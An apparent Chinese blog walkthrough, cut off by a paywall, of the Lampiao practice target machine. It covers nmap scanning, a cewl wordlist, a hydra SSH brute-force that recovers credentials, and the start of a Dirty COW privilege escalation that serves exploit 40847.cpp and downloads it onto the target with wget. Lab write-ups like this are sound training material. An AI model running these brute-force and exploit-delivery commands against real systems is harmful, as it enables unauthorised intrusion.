Linux靶机练习

VIP文章 已于 2022-03-27 09:31:49 修改
阅读量6.5k 收藏 18
点赞数 3
分类专栏： Linux Web安全 靶机练习 文章标签： 安全 网络安全 linux
于 2022-03-27 09:29:29 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/SYJ_361/article/details/123768217
版权

文章目录

第1次 Lampiao

1.信息收集

1.1 netdiscover扫描

安装好靶机之后，有个账户密码登录，但我们并不知道账户和密码，所以我们用kali进行扫描其ip地址

image-20220228095834169

用命令进行扫描

netdiscover

得到IP地址：

192.168.81.139

image-20220228100017088

1.2 namp扫描

命令如下：

第1次扫描

发现了2个端口，22和80

nmap -T4 -A -v 192.168.81.139

image-20220228101431628

image-20220228101745393

连接密码：

ssh-hostkey:
|   1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
|   2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
|   256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_  256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)

image-20220228101929405

第2次扫描

发现了3个端口，22、80和1898

nmap -p- -A -sV 192.168.81.139

image-20220228102443976

1.3 御剑扫描

扫描1898端口出来了信息

http://192.168.81.139:1898

image-20220228103159698

扫描的信息如下

http://192.168.81.139:1898/robots.txt
http://192.168.81.139:1898/includes/
http://192.168.81.139:1898/misc/
http://192.168.81.139:1898/index.php
http://192.168.81.139:1898/install.php

打开扫描到的文件

http://192.168.81.139:1898/robots.txt

可以看到下面文件中包含很多信息，并且含有路径信息，可以看到有一个更新日志文件

Disallow: /CHANGELOG.txt

打开这个文件

http://192.168.81.139:1898/CHANGELOG.txt

image-20220228104124413

robots.txt文件内容

#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
# This file will be ignored unless it is at the root of your host:
# Used:    http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/robotstxt.html

User-agent: *
Crawl-delay: 10
# CSS, JS, Images
Allow: /misc/*.css$
Allow: /misc/*.css?
Allow: /misc/*.js$
Allow: /misc/*.js?
Allow: /misc/*.gif
Allow: /misc/*.jpg
Allow: /misc/*.jpeg
Allow: /misc/*.png
Allow: /modules/*.css$
Allow: /modules/*.css?
Allow: /modules/*.js$
Allow: /modules/*.js?
Allow: /modules/*.gif
Allow: /modules/*.jpg
Allow: /modules/*.jpeg
Allow: /modules/*.png
Allow: /profiles/*.css$
Allow: /profiles/*.css?
Allow: /profiles/*.js$
Allow: /profiles/*.js?
Allow: /profiles/*.gif
Allow: /profiles/*.jpg
Allow: /profiles/*.jpeg
Allow: /profiles/*.png
Allow: /themes/*.css$
Allow: /themes/*.css?
Allow: /themes/*.js$
Allow: /themes/*.js?
Allow: /themes/*.gif
Allow: /themes/*.jpg
Allow: /themes/*.jpeg
Allow: /themes/*.png
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/

打开登录网站

直接加端口号就进入了这个网站

http://192.168.81.139:1898/

image-20220228104400933

sql注入

未能成功

1'

image-20220228104838867

链接跳转

发现两处可以跳转

image-20220228105118926

node/1

跳转后的网址如下：

http://192.168.81.139:1898/?q=node/1

image-20220228105302109

node/3
http://192.168.81.139:1898/?q=node/3

发现有一个音频文件和一句话：Node 2 is not working

image-20220228105332634

打开音频文件

并未有任何有用的信息

http://192.168.81.139:1898/LuizGonzaga-LampiaoFalou.mp3
node/2

把node/3,改为node/2

得到一个音频文件和一个图片

http://192.168.81.139:1898/?q=node/2

audio.m4a
qrc.png

image-20220228110006085

打开音频文件

http://192.168.81.139:1898/audio.m4a

打开图片

http://192.168.81.139:1898/qrc.png

发效了一个二维码

扫描之后，发现信息如下：

Try harder!muahuahua

image-20220228110230126

2. 漏洞探测

2.1 利用cewl获取网站信息

利用cewl获取网站关键信息从而生成一个密码字典：

cewl http://192.168.81.139:1898 -w lampiao.txt

image-20220228111522755

hydra对用户密码进行爆破

利用hydra对用户tiago密码进行爆破：

hydra -l tiago -P lampiao.txt 192.168.81.139 ssh

得到账户密码：

login: tiago   
password: Virgulino

image-20220228112147921

2.2 ssh进行登录

利用ssh进行登录：

ssh [email protected]

根据提示输入

yes
Virgulino （这个就是密码）

image-20220228131442763

查看靶机信息：

uname -a

image-20220228131612586

3. 提权

3.1 利用脏牛提权

用Kali 自带的漏洞搜索有无能进行脏牛提权的shell：

searchsploit dirty

image-20220228132438851

开启临时服务器

  • 将40847.cpp文件复制到当前目录下
  • 并且利用 python2 -m SimpleHTTPServer 1234
  • 开启临时的建议服务器

注意事项：

  • 因此使用Python2时要特别注明，
  • 如果没安装Python3则不用特殊注明，
  • Python3无法利用该方法开启简易服务器，
    • 另外，开启服务器后默认的访问目录
      • 为当前开启服务器的目录，
      • 即我在 ~/桌面 这个目录下，
      • 则在浏览器中访问的话则默认能看 ~/桌面 目录下的文件。

3.2 对40847文件的操作

查找40847.cpp文件

find / -name 40847.cpp

拷贝40847.cpp文件

把文件复制到要定义的服务目录下

cp /usr/share/exploitdb/exploits/linux/local/40847.cpp  /home/xxb1/

image-20220228134343291

使用下面命令时，要在

/home/xxb1/        目录下使用

python2 -m SimpleHTTPServer 1234

image-20220228134318225

3.3 tiago用户下载40847.cpp文件

在刚才ssh登录的tiago用户的/tmp目录下下载40847.cpp文件：

wget http://192.168.81.131:1234/40847.cpp
#ip地址改为自己的kali的IP

最低0.47元/天 解锁文章
小小西贝
关注
  • 3
    点赞
  • 踩
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
main2.cpp编译原理词法分析器的全部代码
07-04
SNL语言测词法分析器，利用自动机以及其他的技术进行词法分析，将输入的一段程序转换为单个的字符，方便后续进行语法分析和语义分析
gemma.cpp windows已编译好 exe
02-28
gemma.cpp是一个轻量级的、独立的C++推理引擎，用于Gemma Google的基础模型。 Gemma 可使用模型库2b、2b-it、7b、7b-it、等 gemma.exe windows 已编译可直接运行执行 gemma.exe --tokenizer "F:\gemma.cpp\7b\tokenizer.spm" --compressed_weights "F:\gemma.cpp\7b\7b-it-sfp.sbs" --model "7b-it"
VS2019编译完成的paho.mqtt.cpp库
02-27
paho.mqtt.cpp.zip这个压缩包，是我配套的教程“VS2019编译MQTT库 C/C++（超详细，含示例工程）” https://blog.csdn.net/zhh763984017/article/details/104060776 里面的用VS2019编译好的paho.mqtt.cpp的工程文件，其中包括了源代码，还有编译好的dll库还有lib库
paho.mqtt.cpp-master.zip
03-08
c++版本的mqtt协议代码实现
Lampiao 靶机练习
SYJ_361的博客
02-28 4216
利用kali对靶机进行扫描，远程登录靶机，并对靶机进行提权，找到靶机里面的文件
vulnhub靶场 prime1靶机获得flag
weixin_43410194的博客
08-17 1849
vulnhub靶场 prime1靶机获得flag
靶机渗透测试1
qq_52191935的博客
08-30 514
测试环境：靶机+kali 1.通过nmap扫描存活主机，得到靶机IP为192.168.152.131 2.扫描开放端口，得到22（SSH），80（HTTP），31337（HTTP） 3.尝试访问开放端口，没有收获 4.尝试对网站目录进行扫描 80端口没有收获 31337端口得到如下目录 5.尝试访问各个文件目录 前三项未发现可用信息 在robots.txt中发现新文件目录 访问后得到首个flag 6.访问.ssh得到文件提示 下载三...
vulhub靶机--lampiao
m0_58595840的博客
02-02 402
vulnhub渗透，脏牛提权
靶机渗透测试4
qq_52191935的博客
09-01 1063
测试环境：靶机+kali 1.nmap扫描存活主机，得到靶机IP为192.168.152.131 2.对靶机进行全端口扫描，发现80端口（HTTP）及7744端口（SSH）开放 3.根据下载时的提示，要设置hosts文件才能访问到网站 先修改hosts文件，在linux中路径为/etc/hosts，添加如下配置 配置完成后访问80端口，发现访问成功 4.通过网页查看到第一个flag，并得到提示可以使用cewl 5.通过kail的cewl工具生成密码字典，为了便于使用...
靶机16 GROTESQUE: 2
honest_gg的博客
10-12 1096
简介：获取标志（难度： 中等）
培训linux靶机竞赛解题文档1
08-08
培训linux靶机竞赛解题文档1
dc-2靶机练习.pdf
01-02
详细的靶机dc-2练习过程，思路明确，条例清晰， 通过修改hosts进入网站，发现flag1 通过cewl工具对网站生成密码字典，使用wpscan进行密码爆破得到jerry，tom账号密码，登录后台得到flag2 端口扫描发现ssh服务开...
dc-4靶机练习.docx
01-02
靶机在web信息收集，burp获取登陆用户名和密码。 第二步：利用反弹shell后发现一封邮件，拿到新用户的登陆口令。 第三步：通过sudo -l]发现不用登录root可以使用的命令 [teehee --help][teehee -a]增加用户，具有...
靶机happycorp实战练习
09-08
学习
2021年山东省职业院校技能大赛网络安全赛项C模块Linux靶机
04-29
靶机服务器操作系统：Linux/Windows 三、漏洞情况说明： 1.服务器中的漏洞可能是常规漏洞也可能是系统漏洞； 2.靶机服务器上的网站可能存在命令注入的漏洞，要求选手找到命令注入的相关漏洞，利用此漏洞获取一定...
小程序前端调用接口（getAccessToken）获取调用凭据，调用接口（msgSecCheck）检测文本内容是否安全--最终版
qq_39951524的博客
04-22 456
小程序前端调用接口(getAccessToken)获取调用凭据，调用接口(msgSecCheck)检测文本你在前端测试时，最好使用**小程序工具的真机调试**，是可以跑通的，但你用**小程序工具的真机预览模式**就会没有响应。原因就在于访问**wx.request({}）**，中的**服务器网址** ，需要在**小程序开发管理** 》》**开发设置** 》》 **服务器域名** 中配置，而小程序提供的接口**https://api.weixin.qq.com** ，又恰恰**不允许**在服务器域名中配置，
账号安全基本措施2
2301_78327423的博客
04-19 461
例如：配置zhangsan用户只能执行挂载命令，/usr/bin/mount /dev/sr0 /mnt/命令。在110行我们看到在这个组中，NOPASSWD：ALL，是要加入到wheel组中的，使用sudo执行任何命令不需要密码。第三列是开放的命令，比如:/usr/bin/mount /dev/sr0 /mnt/只能执行这一条命令。在/etc/sudoers.d/下写一个配置文件：vim /etc/sudoers.d/test。测试别名的使用，只有在/usr/bin/下的命令才可以无密码使用。
vue2 顶象 安全 验证码的使用
最新发布
lele66688888的博客
04-23 186
类似与这样的登录之前的验证 滑动一个盒子了 或者是 顺序点击文字了 等。
安全开发实战(4)--whois与子域名爆破
weixin_72543266的博客
04-18 885
安全开发实战(4)--whois与子域名爆破 Whois 查询是一种用于获取有关互联网域名注册信息的公共查询服务。当注册一个域名时，必须提供一些个人或组织信息，例如姓名、电子邮件地址、联系电话等。这些信息通常是公开的，可以通过 Whois 查询来获取。在渗透测试中，Whois 查询可以我们收集目标组织的关键信息。组织联系信息：包括名称、地址、电话号码和电子邮件地址。这些信息可以用于建立联系、进行社会工程攻击或者其他类型的攻击。域名到期日期：了解域名何时到期可以帮助我们预测目标可能面临的安全风险。
kali攻击linux靶机
03-15
Kali Linux是一种专门用于渗透测试和网络安全的操作系统。它内置了大量的安全工具，可以用于测试和评估网络的安全性。攻击Linux靶机是Kali Linux的一个常见用途之一。 在使用Kali Linux攻击Linux靶机之前，首先需要明确目的和合法性。只有在合法授权的情况下，才能使用Kali Linux进行渗透测试和漏洞评估。 以下是一般的攻击步骤： 1. 信息收集：收集目标系统的相关信息，包括IP地址、开放端口、服务版本等。 2. 漏洞扫描：使用Kali Linux中的漏洞扫描工具，如Nmap、OpenVAS等，对目标系统进行漏洞扫描，发现潜在的安全漏洞。 3. 漏洞利用：根据漏洞扫描结果，选择合适的漏洞利用工具或脚本，对目标系统进行攻击。 4. 权限提升：如果成功获取了目标系统的低权限访问，可以尝试提升权限，获取更高级别的权限。 5. 持久化访问：在攻击成功后，为了长期访问目标系统，可以在目标系统上安装后门或其他持久性访问工具。 6. 清理痕迹：在攻击完成后，为了不留下痕迹，需要清理攻击过程中产生的日志和其他痕迹。 需要注意的是，攻击他人系统是非法的，除非你有合法的授权和目的。在进行任何安全测试之前，请确保已经获得了合法的授权，并遵守相关法律和道德规范。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值